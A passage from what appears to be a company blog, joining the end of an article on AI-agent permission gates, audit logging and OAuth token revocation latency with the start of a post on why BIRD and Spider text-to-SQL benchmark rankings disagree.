blunt about the scope design that breaks this: publishing every possible scope in `scopes_supported`, and "using wildcard or omnibus scopes (`*`, `all`, `full-access`)". A gate in front of an omnibus scope is theatre. ```mermaid sequenceDiagram participant A as Agent participant G as Gateway participant V as Vault participant S as SaaS API A->>G: tool call (agent id + user id) G->>G: scope lookup: user ∩ agent alt scope missing G-->>A: 403 insufficient_scope, scope="files:write" G->>G: write deny to audit log else allowed G->>V: fetch credential by reference V-->>G: token G->>S: authorized request S-->>G: response G->>G: write allow to audit log G-->>A: result, token never exposed end ``` Gateway Gateway: scope lookup, user scopes intersect agent scopes |-- scope missing -> 403 insufficient_scope (scope="files:write") + deny written to audit log |-- allowed -------> fetch credential from vault by reference -> authorized request to the SaaS API -> allow written to audit log -> result returned; the token never reaches the agent --> **Figure 1 — Both branches write a record. The deny branch is the one most stacks discard.** > **We think permissioning is a lookup, not a judgment.** "Is this allowed" should resolve against a > scope table in single-digit milliseconds, with two outcomes. A system that also returns "wait for a > human" is describing routing, notification and a reviewer, all of which are separate machinery that > does not exist because the words appear in a diagram. ## Audit logs: the record of the decision {#audit} Audit logs get asked four questions after something goes wrong. Which agent did this, on whose behalf, what did it touch, and when. A useful log answers all four for any action, including the ones nobody expected to matter. What a well-built trail captures is the gate's own decision: the identity pair, the scope checked, the action attempted, and the verdict, on every outcome rather than only the successes. That is [`aact:audit-granularity/per-action-with-principal-chain`](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/audit-granularity.yaml). Denials belong in the record as much as allows. Google Cloud's audit logging shows how easily the asymmetry creeps in. Admin Activity audit logs "are always written; you can't configure, exclude, or disable them", while "except for BigQuery, Data Access audit logs are disabled by default". The writes are recorded for you. The reads, which are what an exfiltration looks like, are the ones you have to turn on. Regulation now sets a floor under this. EU AI Act Article 12 requires that high-risk systems "technically allow for the automatic recording of events (logs) over the lifetime of the system". Article 19 puts retention on providers "for a period appropriate to the intended purpose" with a minimum of six months. Article 26(6) puts the same six-month floor on deployers for logs under their control. Those obligations are not live yet: after the Digital Omnibus, the European Commission's own digital-strategy page says the Annex III high-risk rules "will apply from 2 December 2027", and for systems embedded in regulated products such as lifts or toys, "the rules will apply from 2 August 2028". Six months is a floor, and financial-services record-keeping regimes reach further. NIST's log management guide predates all of this and still contains the most practical item on the list: "ensuring that each logging host's clock is synched to a common time source". Agent traces span your orchestrator, your gateway and three SaaS providers. Without synchronised clocks you cannot order the events, and a trail you cannot order is a pile of records. One more failure destroys attribution silently. If a component forwards a token it received rather than obtaining its own, MCP's security guidance notes that "the downstream Resource Server's logs may show requests that appear to come from a different source with a different identity". Your log is fine. The provider's log is wrong, and the provider's is the one a customer will ask to see. A useful test: pick one action from yesterday and reconstruct it from the log alone. Which identity made the call, what scope was checked, what the gate decided, what happened next. If that takes more than a minute, or needs a system other than the log, the pipeline is not finished. ## Revocation: what the word actually buys {#revocation} Revocation is what a team reaches for after something has gone wrong. Someone left, a credential leaked, an agent did something it should not have. The instinct is one button that makes the problem stop being true everywhere at once. What the button does depends on which credential is behind it. Start with the spec. RFC 7009 says implementations "MUST support the revocation of refresh tokens and SHOULD support the revocation of access tokens". Access-token revocation is a SHOULD. The reason is in section 3, which notes that access tokens "may be self-contained so that a resource server needs no further interaction with an authorization server issuing these tokens to perform an authorization decision". A self-contained token is honoured because it validates, not because anyone asked the issuer whether it still should be. Revoking it changes nothing until it expires. Then there is the response. Section 2.2 specifies HTTP 200 "if the token has been revoked successfully or if the client submitted an invalid token". A 200 tells you the request was well-formed. It does not tell you a credential died. Providers differ in what a single revoke reaches. Google's is the widest. Its documentation says revocation "removes all OAuth 2.0 scopes previously granted to a project, invalidating any issued access or refresh tokens for all clients registered under that project", which is a blast radius in the other direction and worth knowing before you wire a revoke call into a cleanup job. Slack sits at the opposite end, stating plainly that "OAuth tokens do not expire. If they are no longer needed, they can be revoked." No clock is doing the work for you. Slack also revokes automatically when "a workspace owner fully uninstalls the app, a user individually removes their configurations, or the account of the user who initially authenticated the Slack app is deactivated". ```mermaid flowchart TD U["disconnect the tool"] --> C["platform's stored copy<br/>of the credential is cleared"] C --> F["new calls routed through<br/>the platform fail immediately"] C -.->|does not reach| T["the token record held<br/>by the issuing provider"] T --> V{"still honoured<br/>at the provider?"} V -->|self-contained token,<br/>until expiry| W["usable directly against<br/>the provider, outside<br/>the platform's view"] V -->|revoke call made<br/>to the issuer| X["provider invalidates it,<br/>after propagation"] style T fill:#fde,stroke:#a33 style W fill:#fde,stroke:#a33 ``` **Figure 2 — Clearing a stored copy and invalidating a grant are two different acts, and only the issuer can perform the second.** This is not a defect in one product. It is a property of OAuth. The party that issued a token is the only party that can end it early, and most platforms sit downstream of that authority rather than inside it. > **What "revoked" should mean, precisely:** cleared from this vault, immediately, so nothing routed > through here can use it again. Not: invalidated everywhere it was ever presented. Only the issuer > can promise the second, and a 200 from its endpoint does not prove it happened. ## How Long Revocation Takes {#latency} The second thing teams get wrong is timing. "Immediate" is a property of one narrow path, and the numbers are documented if you go looking. | Credential | What revoke reaches | Documented timing | | --- | --- | --- | | OAuth refresh token, RFC 7009 | MUST be supported; revoking one SHOULD "also invalidate all access tokens based on the same authorization grant" | Next refresh attempt fails; already-issued access tokens may survive | | Google OAuth token | Both tokens in the pair, and all scopes granted to the project across every client registered under it | 200 on success, 400 on error, and "it might take some time before the revocation has full effect" | | Slack app token | `auth.revoke` kills the bot token, removes the bot user, drops slash commands and incoming webhooks | Tokens "do not expire", so nothing lapses on its own | | Microsoft Entra access token, no CAE | Nothing directly; you wait for the refresh | Default access token lifetime is 1 hour | | Microsoft Entra with CAE | Critical events, including an administrator revoking all refresh tokens for a user | Near real time, but "latency of up to 15 minutes might be observed"; token lifetime rises to "long-lived, up to 28 hours" | | Entra policy or group-membership change | Conditional Access evaluation inside the resource provider | "Could take up to one day"; optimised paths "reduce the delay to two hours" | | AWS temporary credentials | Not deletion. You deny the principal, and "permissions assigned to temporary security credentials are evaluated each time they are used" | Sessions run 15 minutes to 36 hours, default 12; "it might take a few minutes for policy updates to take effect" | **Table 1 — Revocation reach and latency, read from each provider's own reference pages.** Two things fall out of that table. The first is that longer-lived tokens are not automatically worse. Entra pushes access-token lifetime up to 28 hours precisely because the resource provider is now subscribed to revocation events, so "critical events and policy evaluation drive revocation, not just an arbitrary time period". Short lifetimes are a crude substitute for a revocation channel, and Microsoft says so, describing reduced lifetimes as a "blunt object" that degraded reliability without eliminating the risk. The second is that "near real time" has a number attached. Fifteen minutes is the documented window for Entra critical events. If your runbook says access stops instantly and the mechanism underneath is an event feed, the runbook is wrong by a quarter of an hour on a good day. The AWS model is the most honest of the set, and the least like a kill switch: nothing is recalled, you attach a deny, and the next request loses. ## How They Work Together {#together} These are one system seen from three angles. Permissioning decides what happens. Audit records what the gate decided. Revocation removes an identity's ability to pass the gate, inside whatever boundary the revoking system controls. Remove any one and the other two lose most of their value. A gate with no trail cannot be checked against what it claims to enforce. A trail with no working revocation documents an incident you cannot stop. And revocation without a real gate underneath is a switch wired to a system nobody was controlling, because standing access was doing the work the whole time. The connective tissue is the identity pair. Every call should carry both the agent and the user it acts for, both should appear in the record, and both should be revocable independently. ## Production Checklist {#checklist} Before an agent stack ships, a team should be able to say yes to each of these and mean the narrow version rather than the flattering one. - Every agent holds a distinct identity, not a credential shared across everything it might run. - Every tool call is checked against an explicit scope at the moment it is made, with two outcomes, and a denial names the scope that was missing the way an `insufficient_scope` challenge does. - No scope in the catalogue is a wildcard, and the advertised set is the minimum rather than everything the API can do. - Every check is logged with both identities, the scope evaluated and the verdict, on success, failure and timeout alike, and reads are logged as well as writes. - Logging hosts share a time source, and retention meets the longest applicable floor, six months being the AI Act's minimum rather than a target. - Records are exportable to wherever the security team actually looks. - For each integration, someone has written down whether disconnect clears a stored copy, calls the issuer's revoke endpoint, or both. - Someone has tested it. Revoke a live grant in staging and measure the seconds until the next call fails. That number is the blast radius. ## Where Fabriq Fits {#fabriq} This is the model our own permission layer follows. Default-deny scopes are checked at call time across org, team and member grants, and an agent's effective tool list is the intersection of the user's scopes and the agent's, so widening one side alone changes nothing. Credentials sit in a vault and are attached server-side at the moment of the call. Every call carries two identities, the agent and the acting user, and both land in the audit record with the scope check and the verdict. The boundary is the one described above, and we would rather state it than imply otherwise. Disconnecting a connection clears our stored copy of the credential immediately. Reaching the issuer to invalidate the grant upstream is a separate call, and it is yours to make. SSO sessions through Okta or another OIDC provider are the exception, because there the session being ended is one we control. ## Frequently Asked Questions {#faq} **Does revoking an OAuth token stop access immediately?** Usually not. RFC 7009 requires refresh-token revocation but only recommends access-token revocation, because access tokens "may be self-contained" and validated without contacting the issuer. Revocation stops the next refresh; a token already in flight keeps working until it expires. **What does a 200 from a revocation endpoint prove?** That the request parsed. RFC 7009 returns 200 "if the token has been revoked successfully or if the client submitted an invalid token", which means success and "that token was already garbage" are indistinguishable. If you need proof, test with a real call afterwards rather than trusting the status code. **How fast is "near real time" revocation?** For Microsoft Entra's continuous access evaluation, the documentation says the goal is near real time but "latency of up to 15 minutes might be observed because of event propagation time", while IP-location enforcement is instant. Conditional Access policy and group-membership changes are much slower, up to a day, or two hours on optimised paths. **Do Slack tokens expire on their own?** No. Slack's documentation states that "OAuth tokens do not expire" and must be revoked when no longer needed. Uninstalling the app or deactivating the authenticating user's account revokes them automatically, which matters because an agent built on a departing employee's authorisation stops working the day IT disables the account. **How do I revoke an AWS session an agent is using?** You do not delete it. You deny it. Temporary credentials run 15 minutes to 36 hours with a 12-hour default, and permissions "are evaluated each time they are used", so a deny on the principal ends access on the next request. Allow a few minutes. **What has to be in an agent audit record?** At minimum the agent identity, the user it acted for, the tool and action attempted, the scope checked, the verdict, and a timestamp from a synchronised clock. EU AI Act Article 12 requires high-risk systems to support automatic event recording across their lifetime; Articles 19 and 26(6) set a six-month retention floor on providers and deployers. **When do the AI Act's high-risk logging duties start?** After the Digital Omnibus, the European Commission's digital-strategy page gives 2 December 2027 for the Annex III high-risk areas and 2 August 2028 for high-risk systems embedded in regulated products. Earlier guidance citing 2 August 2026 is superseded. **Should denied calls be logged?** Yes, and they are the more useful half. A cluster of denials on one scope says an agent is repeatedly reaching outside its remit, which is either a misconfiguration or the early shape of an incident. ## Conclusion {#conclusion} None of these controls has to be exotic to work. They have to be described accurately. Permissioning is a scope lookup with two outcomes and a denial that names what was missing. Audit is the gate's own decisions, both verdicts, on a synchronised clock, kept as long as the longest rule that applies. Revocation is scoped to what the revoking system issued, and no further. Then do three things. Log denials, because they are the signal you are currently discarding. Write down, per integration, whether disconnect clears a copy or ends a grant. And measure the gap once, in staging, with a stopwatch. > **A revocation path nobody has tested is a claim, not a control.** Revoke a live grant by hand, > watch how long the agent keeps working, and write the number down. Whatever it is in staging is > what it will be during the incident. ## Sources {#sources} All URLs read 2026-09-29. - [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the authorization-model term for a decision taken per action, and the audit-granularity term for a record that names the agent, the human it acted for and the verdict. - [RFC 7009: OAuth 2.0 Token Revocation](https://www.rfc-editor.org/rfc/rfc7009) — section 2 on refresh versus access token support, 2.1 on invalidating tokens from the same grant, 2.2 on the HTTP 200 ambiguity, 2.2.1 `unsupported_token_type`, and section 3 on self-contained tokens. - [OAuth 2.0 for Mobile and Desktop Apps, Google Identity](https://developers.google.com/identity/protocols/oauth2/native-app) — the `https://oauth2.googleapis.com/revoke` endpoint, the token-pair cascade, project-wide scope removal, 200/400 responses, and the note that full effect may be delayed. - [Installing with OAuth, Slack](https://docs.slack.dev/authentication/installing-with-oauth) — "OAuth tokens do not expire", what `auth.revoke` removes, and the automatic revocation triggers. - [Continuous access evaluation in Microsoft Entra](https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-continuous-access-evaluation) — the 1-hour default and 28-hour CAE lifetime, the 15-minute propagation caveat, the critical-event list, the "blunt object" line, and the one-day / two-hour policy delays. - [Disabling permissions for temporary security credentials, AWS IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_disable-perms.html) — session durations of 15 minutes to 36 hours with a 12-hour default, per-request permission evaluation, and the deny-based revocation model. - [NIST SP 800-207: Zero Trust Architecture](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207.pdf) — the per-request access-decision definition and tenet 3 on per-session grants and least privilege. - [NIST SP 800-92: Guide to Computer Security Log Management](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-92.pdf) — log management policy, preservation of original logs as evidence, and clock synchronisation. - [EU AI Act Article 12: Record-Keeping](https://artificialintelligenceact.eu/article/12/) — automatic recording of events over the lifetime of a high-risk system. - [EU AI Act Article 19: Automatically Generated Logs](https://artificialintelligenceact.eu/article/19/) — the provider's six-month minimum retention. - [EU AI Act Article 26: Obligations of Deployers](https://artificialintelligenceact.eu/article/26/) — paragraph 6's six-month floor for deployers and paragraph 2 on assigning human oversight. - [AI Act regulatory framework, European Commission](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai) — the post-Omnibus dates: 2 December 2027 for Annex III high-risk areas, 2 August 2028 for Annex I products. - [OWASP LLM06:2025 Excessive Agency](https://genai.owasp.org/llmrisk/llm062025-excessive-agency/) — excessive functionality, permissions and autonomy, and the guidance on minimum permissions and open-ended extensions. - [MCP Authorization, specification 2026-07-28](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization) — the `403` / `insufficient_scope` scope challenge and the scope-hierarchy requirement. - [MCP Security Best Practices](https://modelcontextprotocol.io/specification/2025-06-18/basic/security_best_practices) — the accountability and audit-trail consequences of token passthrough, and the scope-minimization anti-patterns. - [Cloud Audit Logs overview, Google Cloud](https://docs.cloud.google.com/logging/docs/audit) — Admin Activity logs cannot be disabled; Data Access logs are off by default outside BigQuery. ================================================================================ ## BIRD vs. Spider: What Text-to-SQL Benchmarks Actually Measure URL: https://www.agenticfabriq.com/blog/why-bird-and-spider-rankings-disagree Published: 2026-10-12 Author: Paulina Xu Summary: BIRD and Spider rank the same systems differently for three separable reasons: the dataset, the grading rule and the deployment each system ran on. What each benchmark actually measures, and what transfers to your warehouse. ```tldr **A text-to-SQL leaderboard position is a property of the benchmark and its grading rule, not of the system being graded.** Hold the system fixed, change the rule, and the order changes. Disagreements between two boards come from three separable places, and this piece takes them one at a time. **The dataset:** which questions, over which databases, with which answer key. **The grading rule:** the few dozen lines of code that turn a returned table into a verdict. **The deployment:** the platform each system ran on, the semantic metadata it was given there, and the limits that platform imposed. Mixing the three is what makes two numbers look like a disagreement about quality. Our own published comparison shows the second one. On Spider 1.0, Databricks Genie beats Snowflake Cortex Analyst by 7.2 points under exact match (63.6 vs 56.4) and by 0.4 points under a got-the-facts rule (77.5 vs 77.1). Same two systems, same questions, same runs. A clear win becomes a tie. The usual reading of a BIRD-versus-Spider disagreement is that one benchmark is harder, or that somebody overfit. Mostly it's simpler. The benchmarks ask different questions of different databases and score the answers with different code. BIRD's grader demands set equality of result rows. Spider 2.0's grader accepts any result that contains the reference columns. None of this says benchmarks are useless, and it does not say ours are better. An audit of BIRD Mini-Dev and Spider 2.0-Snow found annotation error rates of 52.8% and 62.8%, and re-scoring 16 leaderboard agents on corrected data moved them by up to nine positions in either direction. Our numbers sit on that same ground. So use a published number as a filter, not a decision. Shortlist two or three systems with it, then run your questions against your schema and grade them with the rule your users care about. ``` ## Overview {#overview} Someone sends you two tabs. On one, a system is fourth. On the other, the same system is second and the thing that beat it is now seventh. Both tabs are text-to-SQL leaderboards, both are current, and nobody is lying. The reason is that a leaderboard score has four inputs and only one of them is the system. The other three sort cleanly, and the rest of this page takes them in order: 1. **The dataset.** Which questions, over which databases, with which answer key. Spider 1.0, BIRD and Spider 2.0 differ on all three, deliberately, because they were built to test different things. 2. **The grading rule.** The code that converts a returned table into a pass or a fail. Within a *single* benchmark, on a *single* set of answers, swapping the rule is enough to reorder the board. 3. **The deployment.** The platform each system actually ran on, the schema metadata it was handed there, and the limits that platform imposed. Two systems scored on the same questions under the same rule can still have been given materially different information about the data. Keeping them apart matters because each one has a different remedy. A dataset difference means the two numbers were never comparable. A grading-rule difference means they are the same measurement read two ways. A deployment difference means somebody's harness, not somebody's model, produced the gap. We think this is the most under-discussed fact in the field, because it means a vendor can be honest, reproducible and still irrelevant to your decision. This page is narrower than our earlier post on [reading agent benchmarks honestly](/blog/evaluating-agents-benchmarks), which covers agent evaluation in general. Here the subject is one specific confusion: why two text-to-SQL boards rank the same systems differently, and what that tells you about which number to trust. The head-to-head case, [Cortex Analyst against Genie](/blog/cortex-analyst-vs-genie-accuracy), has its own page; this one is about the machinery that makes any such comparison move. We use the vocabulary from our [text-to-SQL evaluation taxonomy](https://agenticfabriq.github.io/text-to-sql-evaluation-taxonomy/) for the moving parts, specifically four of its dimensions: grading rule, answer shape, benchmark corpus and failure mode. The taxonomy is ours and it's vendor-neutral. Take a hypothetical finance platform team picking a text-to-SQL layer for a Snowflake warehouse with a few thousand columns and fifteen years of accumulated naming conventions. They have two shortlisted vendors and two leaderboards that disagree. We'll come back to them at the end, because the honest answer to their question is not on either board. > **The core claim:** a published text-to-SQL score is a property of the triple (dataset, grading rule, > deployment). Quote any one of the three without the other two and you have said almost nothing. ## Axis one: the dataset — three benchmarks that measure three different things {#benchmarks} Start with what the benchmarks were built to do, in their authors' words. Spider 1.0 (EMNLP 2018) is a cross-domain schema-generalisation test. It is "a large-scale, complex and cross-domain semantic parsing and text-to-SQL dataset annotated by 11 college students," with 10,181 questions and 5,693 unique complex SQL queries across 200 databases covering 138 domains. The defining choice is the split: different databases appear in train and test, so "the task requires the model to generalize well to both new SQL queries and new database schemas." The databases themselves are small and tidy. BIRD (NeurIPS 2023) was built because that tidiness was the problem. Its authors note that Spider and WikiSQL "focus on database schema with few rows of database contents leaving the gap between academic study and real-world applications." BIRD ships 12,751 text-to-SQL pairs over 95 databases totalling 33.4 GB across 37 professional domains, and adds three things Spider does not have: dirty database contents, external knowledge that bridges the question and the stored values, and SQL efficiency. At publication, the best model managed 40.08% execution accuracy against a human result of 92.96%. Spider 2.0 (ICLR 2025) moved again, this time to enterprise workflows. Its 632 problems come from real data applications, with databases "often containing over 1,000 columns and stored in local or cloud database systems such as BigQuery and Snowflake." Solutions routinely run past 100 lines and span several queries. The same code agent that solved 91.2% of Spider 1.0 and 73.0% of BIRD with o1-preview solved 21.3% of Spider 2.0. | Benchmark | Corpus | What it was built to test | |---|---|---| | Spider 1.0 | 10,181 questions, 5,693 unique SQL queries, 200 small databases, 138 domains | generalising to schemas never seen in training | | BIRD | 12,751 pairs, 95 databases, 33.4 GB, 37 professional domains | dirty values, external knowledge, query efficiency | | Spider 2.0 | 632 workflow problems, BigQuery and Snowflake, often 1,000+ columns | enterprise workflows, long context, multi-query solutions | **Table 1 — Three corpora, three design goals. Counts are from each benchmark's own paper.** Those are three different jobs. A system tuned for schema linking across many small unfamiliar databases is being asked for something else than a system that has to read dialect documentation and write a hundred lines of Snowflake SQL. Ranking disagreement between them is not a contradiction to be resolved. It is the benchmarks working. That is the whole of axis one, and it is the easy axis: a score on one dataset is simply not a score on another, and there is no conversion factor. The dataset also carries its answer key, which turns out to be the shakiest part of the whole arrangement — that gets [its own section](#errors) rather than being folded in here, because an answer-key problem is a defect and a corpus difference is a design choice. ## Axis two: the grading rule changes the ranking {#grading} Here is the part that surprises people. Even inside one benchmark, on one set of answers, the rule that converts a returned table into a verdict decides the order. Four rules are in circulation. **Exact set match** compares the query text, not the result: Spider 1.0 decomposes each query into clauses and does set comparison within each clause, ignoring literal values. It punishes any correct query written differently from the reference. **Execution accuracy** runs both queries and compares results. **Test-suite accuracy** runs them against several generated databases, so that a wrong query cannot survive by coincidence on one. **Containment**, which we call got-the-facts, asks only whether every reference value appears somewhere in what came back. The difference is not philosophical. It's a few lines of each project's evaluator. BIRD: ```python # bird-bench/mini_dev — evaluation/evaluation_ex.py def calculate_ex(predicted_res, ground_truth_res): res = 0 if set(predicted_res) == set(ground_truth_res): res = 1 return res ``` Set equality over result rows. Add one helpful column and every tuple changes, so the answer is wrong. The Spider test-suite evaluator is explicit about the same constraint, while permuting column order before it decides: ```python # taoyds/test-suite-sql-eval — exec_eval.py num_cols = len(result1[0]) # if the results do not have the same number of columns, they are different if len(result2[0]) != num_cols: return False ``` Spider 2.0 inverts it. Its comparison walks the reference columns and asks whether each one turns up anywhere in the prediction: ```python # xlang-ai/Spider2 — spider2-lite/evaluation_suite/evaluate_utils.py tolerance = 1e-2 for _, gold in enumerate(t_gold_list): if not any(vectors_match(gold, pred, ignore_order_=ignore_order) for pred in t_pred_list): score = 0 ``` Extra columns are free. Numbers match within 0.01. Row order can be ignored per example. So each rule rewards a different style of answer and punishes a different innocent one. Exact result match rewards tight answers that return only what was asked, and wrongly fails a query that is right but shaped differently: extra context columns, a different column order, a rounded average, a `DISTINCT` the annotator didn't write. Got-the-facts rewards wide answers, and wrongly passes a query that returns the right numbers buried in a result set nobody could read, or that got there through a join path that will break next quarter. Exact set match rewards queries that look like the reference and fails novel SQL that is semantically identical. In taxonomy terms these are the `tsqlet:grading-rule` terms `exact-result-match` and `got-the-facts`, and the thing they disagree about is the `tsqlet:answer-shape` dimension. The taxonomy's own note on `right-data-wrong-shape` calls it the main reason rankings flip between benchmarks, and the evaluator code above is why. BIRD's maintainers reached the same conclusion from the inside. The Mini-Dev set ships a soft F1 score, "a more lenient metric that reduces the impact of column order and missing values in the tables produced by predicted SQL queries," alongside EX and a reward-based efficiency score. Three rules, one question set. > **If you remember one mechanism:** BIRD's grader fails an answer for having an extra column, and Spider > 2.0's grader does not care. Any comparison that crosses those two benchmarks is comparing answer shapes as > much as answer correctness. ## Axis three: the deployment the questions ran on {#deployment} The third axis gets the least attention and is the one most likely to be responsible for a gap you are about to attribute to a model. A benchmark is a set of questions and an answer key. Running it against a hosted analytics product means first *loading* those databases into a warehouse and *configuring* that product against them, and the loading and the configuring are not neutral. Four things move inside this axis, none of them a property of the system under test. **The dialect and the identifier rules.** A benchmark written around SQLite behaviour does not transfer unchanged to a warehouse that uppercases unquoted identifiers, which is what Snowflake does. Something has to give: either the gold SQL gets rewritten, which changes the benchmark, or the schema load gets adjusted so the original queries still run, which changes the deployment. Our own run took the second option and said so. **The metadata that survives the load.** Several benchmark formats drop declared primary and foreign keys when their databases are loaded into a warehouse, and that is not cosmetic: a product that reasons about joins from declared relationships will refuse questions it could otherwise answer. In our comparison the keys had to be replayed from the benchmark metadata onto both warehouse setups. A type mismatch in our own Databricks loader had silently dropped around twenty foreign keys; fixing it and rerunning moved Genie's result by about half a point. A further 73 relationships could not be represented in Unity Catalog at all, and we published that rather than working around it. Nothing in any of those sentences is a statement about either vendor's model. **The platform's own limits.** One Spider 2.0 schema contains 38 tables; a Genie space holds 30. Which eight tables you drop is a harness decision that lands directly in the score — we kept the largest connected component of the foreign-key graph and disclosed the tables removed, but a different and equally defensible choice would produce a different number. **Harness bugs that look like results.** At one point a dotted namespace in Unity Catalog caused one benchmark to score Genie at exactly 0%. The run looked legitimate. Fixing the harness and regrading the *same* answers, unchanged, moved it to 66.7%. A summary score is perfectly capable of being believable and wrong, which is the argument for publishing per-question results. The refusal data makes the same point from the other side. Cortex Analyst refused 27 of the 135 Spider 2.0 questions, and reading all 27 messages, 24 were caused by missing join metadata, a deployment property, against two genuine inabilities to answer. Scored as failures, those 27 read as a weak model. Attributed correctly, most of them read as a schema-loading problem. | Axis | What differs | What a gap on it means | |---|---|---| | Dataset | questions, databases, answer key | the two numbers were never comparable; no conversion exists | | Grading rule | what counts as a matching result | the same answers, read two ways; report both readings | | Deployment | dialect, surviving keys, platform limits, harness correctness | somebody's loader or their configuration produced the gap, not their model | **Table 2 — The three axes and their remedies. Only the third one is anybody's fault, and it is usually the harness author's.** Two consequences for reading any published comparison. First, the deployment axis is why "we used the same questions and the same grader" is necessary and not sufficient — it says nothing about what each system was told about the data. Second, it is the axis that *does* partly transfer to you, because the same work has to happen on your warehouse: your keys, your dialect, your table counts, your metadata. The dataset and the grading rule stay behind on the leaderboard. The configuration burden follows you home. ## Where rankings flip {#flip} Our own numbers are the cleanest demonstration of the grading-rule axis we can point at, and they come with a conflict of interest we should state first: Agentic Fabriq ran this comparison, including against its own system, so treat it as first-party. Each product ran on its own platform with its own semantic tooling (the deployment caveats above are ours) on the same questions, with the same external grader and three runs per cell where possible. | System | BIRD mini-dev | Spider 1.0 | Spider 2.0-lite | |---|---|---|---| | mnemiq (tier 2 enrichment, hosted frontier model) | 52.2 / 64.9 | 68.4 / 79.5 | 36.6 / 59.8 | | Databricks Genie | 37.4 / 53.1 | 63.6 / 77.5 | 27.3 / 45.5 | | Snowflake Cortex Analyst | 33.3 / 48.9 | 56.4 / 77.1 | 17.4 / 24.2 | **Table 3 — First-party comparison published by Agentic Fabriq, exact match / got-the-facts.** Look at the Spider 1.0 column. Under exact match, Genie leads Cortex Analyst by 7.2 points, which anyone would report as a win. Under got-the-facts the gap is 0.4 points, which is a tie. Nothing about either system changed between those two readings. The grader changed, and with it the answer to "which of these is better at Spider 1.0." ```mermaid flowchart TD A["Same two systems<br/>same Spider 1.0 questions<br/>same runs"] --> B{"Which grading rule?"} B -->|"exact result match<br/>columns must match reference"| C["Genie 63.6<br/>Cortex Analyst 56.4"] B -->|"got the facts<br/>reference values must appear"| D["Genie 77.5<br/>Cortex Analyst 77.1"] C --> E["7.2 points apart<br/>reported as a clear win"] D --> F["0.4 points apart<br/>inside run-to-run noise"] E --> G["Ranking is a property<br/>of the rule, not the system"] F --> G ``` **Figure 1 — The same pair of systems, reordered by the grader alone.** We read the collapse from 7.2 to 0.4 as mostly answer shape: under containment, results that differ from the reference only in which columns came along stop being wrong. That reading is ours, not a measured decomposition, and we have not isolated it per question. The public Spider 1.0 board makes the same point without us. It publishes two leaderboards over one benchmark, execution with values and exact set match without values. The top submission, MiniSeek, scores 91.2 on the first and 81.5 on the second. Below it the two lists barely overlap: the execution board is a run of 2023 GPT-4 prompting methods, while the exact-match board is still led by 2022 fine-tuned parsers like Graphix-3B + PICARD and CatSQL + GraPPa. Part of that is which board people chose to submit to. Part of it is that the two rules reward different machinery. ## The answer keys are broken too {#errors} There is a worse problem underneath the grading rule, and it is well documented. The reference answers themselves are frequently wrong. Jin, Choi, Zhu and Kang audited two benchmarks and published the result at CIDR 2026 with an extended version on arXiv in January 2026. They classify annotation errors into four patterns: question-versus-SQL mismatch, question-versus-database mismatch from limited understanding of the data and schema, missing or wrong domain knowledge, and plain ambiguity in the question. Then they counted. In BIRD Mini-Dev, 263 of 498 unique examples contain at least one such error, a rate of 52.8%. In Spider 2.0-Snow, 76 of the 121 examples whose gold SQL is public are wrong, a rate of 62.8%, which the earlier CIDR version of the paper put at 66.1%. They chose Snow over Spider 2.0-lite for a pointed reason: "teams at leading technology companies benchmark their agents on it." Then they corrected a 100-problem sample of the 1,534-problem BIRD Dev set, fixing 19 questions, 17 external knowledge annotations, 41 gold SQL queries and one schema, and re-ran all 16 reproducible open-source agents from the BIRD leaderboard. Rankings moved an average of five positions, with individual shifts from −9 to +9. CHESS and GenaSQL went from 7th and 6th to a tie for first at 81% execution accuracy. MAC-SQL climbed from 14th to 5th. Contextual-SQL, previously first, fell to 7th. OpenSearch-SQL fell from 2nd to 11th. The authors also tested whether the uncorrected sample is at least a fair proxy for the full set. Agent rankings on the uncorrected subset track the full BIRD Dev set closely, Spearman's r = 0.85. Rankings on the corrected subset track it weakly, r = 0.32. Their conclusion is blunt: "rankings of methods are highly sensitive to the annotation errors in the benchmark." This is not new, only bigger than previously thought. Wretblad and colleagues found in 2024 that noise in BIRD's questions and gold queries was prevalent and unevenly distributed across domains, and reported something that should stop anyone leaning on a leaderboard delta: "when evaluating models on corrected SQL queries, zero-shot baselines surpassed the performance of state-of-the-art prompting methods." The elaborate method's advantage was an artifact of the answer key. > **What that does to a two-point gap:** if half the reference answers in a benchmark are unreliable, a > two-point difference between two systems carries no information at all. The taxonomy has a name for the > failure mode it produces, `tsqlet:failure-mode/reference-error`, and it is the only one on the list that is > nobody's fault but the benchmark's. ## False positives, false negatives, and why execution accuracy is not a reprieve {#falsepos} Execution accuracy is often sold as the honest alternative to exact match. It's better. It is not clean, and the sizes of its two error modes are measured. A wrong query can return the right table by accident. Zhong, Yu and Klein built test-suite accuracy for exactly this, distilling small suites of randomly generated databases so a prediction has to survive more than one world. Checking results only on the single database shipped with Spider produces a false positive rate averaging 6.5% across 21 leaderboard submissions, rising to 11.0% on the extra-hard split and 17.6% in the worst case. Those are predictions counted correct that are not. The reverse error is smaller but real. The adapted exact set match metric shows a false negative rate of 2.6% on average and 8.1% at worst, and on hard queries 4% on average and 12.1% at worst. These are the shape failures: a correct query marked wrong for column order, an extra column, a `DISTINCT`, a rounding difference. Spider 2.0's grader is lenient here on purpose, with its 0.01 numeric tolerance and optional row-order blindness. And both error modes reorder boards. On the extra-hard split, the authors found four submissions each having more than three others ranked above them on single-database execution accuracy but below them on test-suite accuracy. On the hard split, five of 21 submissions each had four others scoring lower on semantic accuracy and higher on exact set match. That is the thesis of this page, measured by someone with no product to sell: the metric, not the model, produced the order. ## What follows if you're choosing a system {#choosing} Back to the hypothetical finance platform team with two vendors and two disagreeing boards. Nothing they can read will settle it, and here is the shape of why. ```mermaid flowchart LR subgraph N["What a published score is made of"] C1["1 dataset<br/>Spider 1.0 / BIRD / Spider 2.0<br/>plus its answer key:<br/>52.8% and 62.8% audited error"] C2["2 grading rule<br/>set equality, containment, test suite"] C3["3 deployment<br/>dialect, surviving keys,<br/>platform limits, harness"] C4["the system itself"] end C1 --> S["published score"] C2 --> S C3 --> S C4 --> S S -.->|"transfers only if all four match yours"| W["your warehouse<br/>your schema, your values,<br/>your questions, your users"] C4 ==>|"the only input you are 